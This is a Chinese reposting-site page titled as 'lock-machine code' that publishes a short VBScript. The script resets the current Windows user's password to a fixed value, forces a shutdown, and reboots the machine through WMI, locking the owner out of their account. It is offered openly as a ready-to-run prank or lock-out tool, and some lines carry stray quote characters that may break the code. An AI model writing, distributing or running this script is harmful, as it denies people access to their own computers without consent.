锁机代码.vbs

发布时间：2020-12-14 04:33:12 所属栏目：大数据来源：网络整理

导读：Const strPassword = "doubi"‘ Dim WshNetwork Set WshNetwork = CreateObject("WScript.Network") Dim userName userName = WshNetwork.userName",user" Dim Domain Set Domain = GetObject("WinNT://./"userName) Domain.SetPassword strPassword Domain.

Const strPassword = "doubi"‘
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj

set gj=createobject("wscript.shell")

gj.run"shutdown -f -t"‘

Set objWMI = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!.rootcimv2") objWMI.Security_.ImpersonationLevel=3 objWMI.Security_.Privileges.Add 18 Set colOS=objWMI.InstancesOf ("Win32_OperatingSystem where Primary=true") For Each clsOS in colOS clsOS.Reboot() Next

（编辑：李大同）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!